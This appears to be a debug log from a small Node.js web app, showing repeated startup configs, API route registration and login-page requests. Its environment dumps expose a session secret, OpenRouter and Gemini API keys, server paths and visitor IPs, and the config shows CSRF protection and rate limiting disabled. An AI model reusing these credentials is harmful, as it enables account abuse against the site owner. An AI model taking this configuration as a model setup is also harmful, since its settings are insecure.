    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.125.255',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-30T15:22:21.390Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-30T15:22:23.149Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-30T15:22:24.010Z server-connect:setup:upload Upload middleware configured.
2026-06-30T15:22:24.010Z server-connect:secure CSRF Protection initialized
2026-06-30T15:22:24.016Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-30T15:22:24.019Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-30T15:22:24.019Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-30T15:22:24.020Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-30T15:22:24.028Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-30T15:22:24.033Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-30T15:22:24.045Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-30T15:22:24.057Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-30T15:22:24.062Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-30T15:22:24.065Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-30T15:22:24.066Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-30T15:22:24.070Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-30T15:22:24.075Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-30T15:22:24.085Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-30T15:22:24.089Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-30T15:22:24.097Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-30T15:22:24.100Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-30T15:22:24.103Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-30T15:22:24.109Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-30T15:22:24.112Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-30T15:22:24.115Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-30T15:22:24.121Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-30T15:22:24.125Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-30T15:22:24.132Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-30T15:22:24.134Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-30T15:22:24.138Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-30T15:22:24.140Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-30T15:22:24.142Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-30T15:22:24.147Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-30T15:22:24.151Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-30T15:22:24.151Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-30T15:22:24.153Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-30T15:22:24.159Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-30T15:22:24.159Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-30T15:22:24.166Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-30T15:22:24.169Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-30T15:22:24.171Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-30T15:22:24.181Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-30T22:24:03.066Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-30T22:24:05.832Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-30T22:24:06.696Z server-connect:setup:upload Upload middleware configured.
2026-06-30T22:24:06.697Z server-connect:secure CSRF Protection initialized
2026-06-30T22:24:06.701Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-30T22:24:06.704Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-30T22:24:06.704Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-30T22:24:06.707Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-30T22:24:06.713Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-30T22:24:06.719Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-30T22:24:06.731Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-30T22:24:06.744Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-30T22:24:06.747Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-30T22:24:06.749Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-30T22:24:06.751Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-30T22:24:06.755Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-30T22:24:06.761Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-30T22:24:06.771Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-30T22:24:06.777Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-30T22:24:06.849Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-30T22:24:06.851Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-30T22:24:06.855Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-30T22:24:06.860Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-30T22:24:06.864Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-30T22:24:06.866Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-30T22:24:06.875Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-30T22:24:06.875Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-30T22:24:06.882Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-30T22:24:06.884Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-30T22:24:06.888Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-30T22:24:06.890Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-30T22:24:06.892Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-30T22:24:06.899Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-30T22:24:06.899Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-30T22:24:06.902Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-30T22:24:06.904Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-30T22:24:06.908Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-30T22:24:06.910Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-30T22:24:06.915Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-30T22:24:06.919Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-30T22:24:06.922Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-30T22:24:06.931Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-30T22:24:07.421Z server-connect:router Serving templateView /
2026-06-30T22:24:07.424Z server-connect:app Executing action step identify
2026-06-30T22:24:07.424Z server-connect:app options: { provider: 'security' }
2026-06-30T22:24:07.426Z server-connect:auth No login cookie found
2026-06-30T22:24:07.426Z server-connect:output identity: false
2026-06-30T22:24:07.426Z server-connect:app Executing action step restrict
2026-06-30T22:24:07.426Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-30T22:24:07.430Z server-connect:output restrict: undefined
2026-06-30T22:24:07.533Z server-connect:router Serving templateView /login
2026-06-30T22:24:07.534Z server-connect:app Executing action step identify
2026-06-30T22:24:07.534Z server-connect:app options: { provider: 'security' }
2026-06-30T22:24:07.534Z server-connect:auth No login cookie found
2026-06-30T22:24:07.534Z server-connect:output identity: false
2026-06-30T22:24:07.534Z server-connect:router Render template layouts/authentication
2026-06-30T22:24:07.535Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.217.128.115',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-01T22:24:07.532Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.217.128.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.217.128.115',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-02T13:48:51.520Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-02T13:48:53.791Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-02T13:48:54.654Z server-connect:setup:upload Upload middleware configured.
2026-07-02T13:48:54.654Z server-connect:secure CSRF Protection initialized
2026-07-02T13:48:54.658Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-02T13:48:54.661Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-02T13:48:54.662Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-02T13:48:54.665Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-02T13:48:54.670Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-02T13:48:54.675Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-02T13:48:54.687Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-02T13:48:54.703Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-02T13:48:54.706Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-02T13:48:54.710Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-02T13:48:54.711Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-02T13:48:54.716Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-02T13:48:54.721Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-02T13:48:54.730Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-02T13:48:54.736Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-02T13:48:54.807Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-02T13:48:54.808Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-02T13:48:54.812Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-02T13:48:54.818Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-02T13:48:54.822Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-02T13:48:54.824Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-02T13:48:54.832Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-02T13:48:54.834Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-02T13:48:54.841Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-02T13:48:54.841Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-02T13:48:54.845Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-02T13:48:54.849Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-02T13:48:54.849Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-02T13:48:54.857Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-02T13:48:54.857Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-02T13:48:54.860Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-02T13:48:54.860Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-02T13:48:54.864Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-02T13:48:54.868Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-02T13:48:54.874Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-02T13:48:54.878Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-02T13:48:54.878Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-02T13:48:54.888Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-02T13:48:55.377Z server-connect:router Serving templateView /
2026-07-02T13:48:55.420Z server-connect:app Executing action step identify
2026-07-02T13:48:55.420Z server-connect:app options: { provider: 'security' }
2026-07-02T13:48:55.434Z server-connect:auth No login cookie found
2026-07-02T13:48:55.434Z server-connect:output identity: false
2026-07-02T13:48:55.434Z server-connect:app Executing action step restrict
2026-07-02T13:48:55.434Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-02T13:48:55.438Z server-connect:output restrict: undefined
2026-07-02T13:48:55.663Z server-connect:router Serving templateView /login
2026-07-02T13:48:55.663Z server-connect:app Executing action step identify
2026-07-02T13:48:55.663Z server-connect:app options: { provider: 'security' }
2026-07-02T13:48:55.663Z server-connect:auth No login cookie found
2026-07-02T13:48:55.663Z server-connect:output identity: false
2026-07-02T13:48:55.663Z server-connect:router Render template layouts/authentication
2026-07-02T13:48:55.664Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    'x-forwarded-for': '204.76.203.56',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-03T13:48:55.661Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '204.76.203.56',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    'HTTP_X_FORWARDED-FOR': '204.76.203.56',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-03T01:26:43.896Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T01:26:45.997Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T01:26:46.831Z server-connect:setup:upload Upload middleware configured.
2026-07-03T01:26:46.831Z server-connect:secure CSRF Protection initialized
2026-07-03T01:26:46.837Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T01:26:46.837Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T01:26:46.840Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T01:26:46.842Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T01:26:46.847Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T01:26:46.854Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T01:26:46.864Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T01:26:46.879Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T01:26:46.882Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T01:26:46.884Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T01:26:46.886Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T01:26:46.889Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T01:26:46.897Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T01:26:46.905Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T01:26:46.911Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T01:26:46.980Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T01:26:46.981Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T01:26:46.986Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T01:26:46.992Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T01:26:46.995Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T01:26:46.997Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T01:26:47.005Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T01:26:47.007Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T01:26:47.013Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T01:26:47.016Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T01:26:47.020Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T01:26:47.020Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T01:26:47.023Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T01:26:47.030Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T01:26:47.030Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T01:26:47.033Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T01:26:47.036Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T01:26:47.039Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T01:26:47.039Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T01:26:47.046Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T01:26:47.050Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T01:26:47.052Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T01:26:47.063Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T09:23:09.342Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T09:23:11.551Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T09:23:12.414Z server-connect:setup:upload Upload middleware configured.
2026-07-03T09:23:12.414Z server-connect:secure CSRF Protection initialized
2026-07-03T09:23:12.421Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T09:23:12.423Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T09:23:12.423Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T09:23:12.424Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T09:23:12.432Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T09:23:12.433Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T09:23:12.448Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T09:23:12.461Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T09:23:12.466Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T09:23:12.467Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T09:23:12.469Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T09:23:12.473Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T09:23:12.479Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T09:23:12.489Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T09:23:12.493Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T09:23:12.563Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
